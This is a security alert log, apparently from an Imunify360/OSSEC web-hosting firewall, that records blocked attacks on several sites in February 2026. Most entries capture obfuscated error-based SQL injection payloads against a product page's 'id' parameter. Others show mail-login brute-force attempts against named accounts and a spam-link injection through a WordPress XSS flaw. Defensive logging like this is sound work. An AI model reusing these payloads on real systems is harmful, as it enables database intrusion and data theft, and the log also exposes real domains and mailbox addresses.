abuser: 183.56.179.201
country_id: 1814991
description:
2026-02-02 05:32:34 dovecot_login authenticator failed for H=([183.56.179.201]) [183.56.179.201]:54648: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 05:32:47 dovecot_login authenticator failed for H=(NaNekE) [178.16.54.138]:57536: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-02-02 05:32:50 dovecot_login authenticator failed for H=([1.250.67.190]) [1.250.67.190]:41032: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\"AND/**/10708=CAST(('~'||(SELECT/**/(CASE/**/WHEN/**/(10708=10708)/**/THEN/**/1/**/ELSE/**/0/**/END))||'~')/**/AS/**/XML) AND \"Z8XCROzM\" LIKE \"Z8XCROzM\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:32:07 dovecot_login authenticator failed for H=(CmAOZf) [165.154.217.204]:51135: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:32:19 dovecot_login authenticator failed for H=(ESYppQ) [158.94.208.175]:53623: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:33:26 dovecot_login authenticator failed for H=(z7zEPYr) [178.16.52.139]:63323: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-02 05:33:41 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:42614: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350423
name: IM360 WAF: Unauthenticated Stored XSS via Avatar Block in WordPress Core < 6.5.2 (CVE-2024-4439)
abuser: 5.1.4.54
country_id: 690791
domain: tst-ma.com
description:
IM360 WAF: Unauthenticated Stored XSS via Avatar Block in WordPress Core < 6.5.2 (CVE-2024-4439)||MVN:ARGS:author||MV:<a href=\"https://bestcasinobangladesh.online/\">bestcasinobgepPi</a>||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:33:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47590: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.191.55.133
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and extractvalue(2586,concat(0x7e,(select/**/(elt(2586=2586,1))),0x7e))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:33:04 dovecot_login authenticator failed for H=(mYhc1MubO) [165.154.217.204]:57451: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:33:17 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55200: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.49.14
country_id: 1814991
description:
2026-02-02 05:33:07 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.49.14]:65256: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\")and/**/10488=utl_inaddr.get_host_name((select/**/chr(126)||'~'||(select/**/(case/**/when/**/(10488=10488)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)/**/from/**/dual)) and (\"3etrh7uv\" like \"3etrh7uv\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:33:23 dovecot_login authenticator failed for H=(sWJjweT) [165.154.217.204]:59665: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-02-02 05:33:29 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:34780: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.191.55.133
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND EXTRACTVALUE(4911,/*!50000CONCAT*/(0x7e,(/*!50000SELECT*/(ELT(4911=4911,1))),0x7e))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:34:00 dovecot_login authenticator failed for H=(7NjhnFbFOh) [158.94.208.175]:58832: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 138.97.186.17
country_id: 3469034
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")AND/**/10488=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(10488=10488)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL)) AND (\"3EtRH7uV\" LIKE \"3EtRH7uV\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.55.133
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1EXTRACTVALUE(7025,CONCAT(0x7e,(SELECT/**/(ELT(7025=7025,1))),0x7e))# X2QZxL0B HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:34:35 dovecot_login authenticator failed for H=(UQbUoqefZy) [158.94.208.175]:61373: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 106.219.237.4
country_id: 1269750
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1 and and/**/(select/**/5055/**/from(select/**/count(*),concat('~',(select/**/(elt(5055=5055,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.174.36.59
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1/*!50000AND*/(/*!50000SELECT*/8657/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(8657=8657,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.191.55.133
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'extractvalue(9991,concat(0x7e,(select/**/(elt(9991=9991,1))),0x7e)) and 't5ncsnma' like 't5ncsnma||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:34:15 dovecot_login authenticator failed for H=(3QD1iqgU) [165.154.217.204]:49566: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.64.246
country_id: 1512440
description:
2026-02-02 05:34:19 dovecot_login authenticator failed for H=([213.230.64.246]) [213.230.64.246]:57178: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 106.219.237.4
country_id: 1269750
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1 AND AND/**/(SELECT/**/5055/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5055=5055,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 106.219.237.4
country_id: 1269750
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1 AND AND/**/(SELECT/**/5055/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5055=5055,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.174.36.59
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1/*!50000AND*/(/*!50000SELECT*/8657/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(8657=8657,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:34:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65087: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 153.37.177.219
country_id: 1814991
description:
2026-02-02 05:34:09 dovecot_login authenticator failed for H=([61.177.36.109]) [153.37.177.219]:45670: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.174.36.59
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1) and and/**/(select/**/6395/**/from(select/**/count(*),concat('~',(select/**/(elt(6395=6395,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 106.219.237.4
country_id: 1269750
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))extractvalue(8853,concat(0x7e,(select/**/(elt(8853=8853,1))),0x7e)) and (('ro3d3suz' like 'ro3d3suz||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 106.219.237.4
country_id: 1269750
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1 AND AND/**/(SELECT/**/5055/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5055=5055,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.45
country_id: 6252001
description:
2026-02-02  5:34:18 265504 [Warning] Aborted connection 265504 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.45' (This connection closed normally without authentication)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 113.174.36.59
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1/*!50000AND*/(/*!50000SELECT*/8657/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(8657=8657,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.174.36.59
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1) and and/**/(select/**/6395/**/from(select/**/count(*),concat('~',(select/**/(elt(6395=6395,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 05:34:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.253.14
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/routing/Tests/Fixtures/CustomRouteCompiler.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:34:17 dovecot_login authenticator failed for H=(5X8CMcFq8) [178.16.52.139]:63531: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 14.169.79.33
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'))and/**/(select/**/1481/**/from(select/**/count(*),concat('~',(select/**/(elt(1481=1481,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (('folkrapv'='folkrapv||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.173.68.220
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\")and/**/(select/**/1527/**/from(select/**/count(*),concat('~',(select/**/(elt(1527=1527,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (\"aejpuicz\"=\"aejpuicz\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 123.22.187.228
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/(select/**/5880/**/from(select/**/count(*),concat('~',(select/**/(elt(5880=5880,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-02 05:35:17 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:43670: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.168.197.241
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\")/*!50000AND*/(/*!50000SELECT*/6641/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(6641=6641,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (\"StwlerTF\" LIKE \"StwlerTF\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 123.22.187.228
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/(select/**/5880/**/from(select/**/count(*),concat('~',(select/**/(elt(5880=5880,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 80.94.250.16
country_id: 617790
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1') AND /*!50000AND*/(/*!50000SELECT*/1131/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(1131=1131,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.169.79.33
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/(select/**/1481/**/from(select/**/count(*),concat('~',(select/**/(elt(1481=1481,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and (('folkrapv'='folkrapv||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.169.79.33
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'))AND/**/(SELECT/**/1481/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1481=1481,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND (('fOlkRapV'='fOlkRapV||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:35:35 dovecot_login authenticator failed for H=(k7ryYISt) [165.154.217.204]:61306: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.168.197.241
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\")/*!50000AND*/(/*!50000SELECT*/6641/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(6641=6641,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (\"StwlerTF\" LIKE \"StwlerTF\"||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 113.173.68.220
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1\"/*!50000AND*/(/*!50000SELECT*/3167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(3167=3167,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND \"h2GgzUvT\"=\"h2GgzUvT\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 164.138.207.42
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'AND/**/(SELECT/**/5819/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5819=5819,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND 'Sc88Dr97' LIKE 'Sc88Dr97||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 186.80.54.140
country_id: 3686110
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1)))/*!50000AND*/(/*!50000SELECT*/8024/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(8024=8024,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND (((1070=1070||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 123.22.187.228
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' AND /*!50000AND*/(/*!50000SELECT*/7573/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(7573=7573,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:35:13 dovecot_login authenticator failed for H=(8q4bSM4hhr) [165.154.217.204]:57675: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 190.163.165.117
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/(select/**/1426/**/from(select/**/count(*),concat('~',(select/**/(elt(1426=1426,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 164.138.207.42
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'AND/**/(SELECT/**/5819/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5819=5819,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND 'Sc88Dr97' LIKE 'Sc88Dr97||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 80.94.250.16
country_id: 617790
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1') AND /*!50000AND*/(/*!50000SELECT*/1131/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(1131=1131,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 14.169.79.33
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'))AND/**/(SELECT/**/1481/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1481=1481,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND (('fOlkRapV'='fOlkRapV||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 164.138.207.42
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'and/**/(select/**/5819/**/from(select/**/count(*),concat('~',(select/**/(elt(5819=5819,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and 'sc88dr97' like 'sc88dr97||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 190.163.165.117
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/(SELECT/**/1426/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1426=1426,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 14.169.79.33
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1'))AND/**/(SELECT/**/1481/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1481=1481,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND (('fOlkRapV'='fOlkRapV||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 186.23.84.204
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:id||MV:1')AND/**/(SELECT/**/5763/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(5763=5763,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a) AND ('gFpDTT4F' LIKE 'gFpDTT4F||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.168.197.241
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/(select/**/4466/**/from(select/**/count(*),concat('~',(select/**/(elt(4466=4466,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 190.163.165.117
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\" AND AND/**/(SELECT/**/1426/**/FROM(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1426=1426,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/INFORMATION_SCHEMA.PLUGINS/**/GROUP/**/BY/**/x)a)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.173.68.220
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"/*!50000AND*/(/*!50000SELECT*/3167/*!50000FROM*/(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(3167=3167,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/INFORMATION_SCHEMA.PLUGINS/*!50000GROUP*//*!50000BY*/x)a) AND \"h2GgzUvT\"=\"h2GgzUvT\"||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.23.84.204
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/(select/**/5763/**/from(select/**/count(*),concat('~',(select/**/(elt(5763=5763,1))),'~',floor(rand(0)*2))x/**/from/**/information_schema.plugins/**/group/**/by/**/x)a) and ('gfpdtt4f' like 'gfpdtt4f||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.173.68.220
country_id: 1562822
domain: www.aoto.com.my
description:
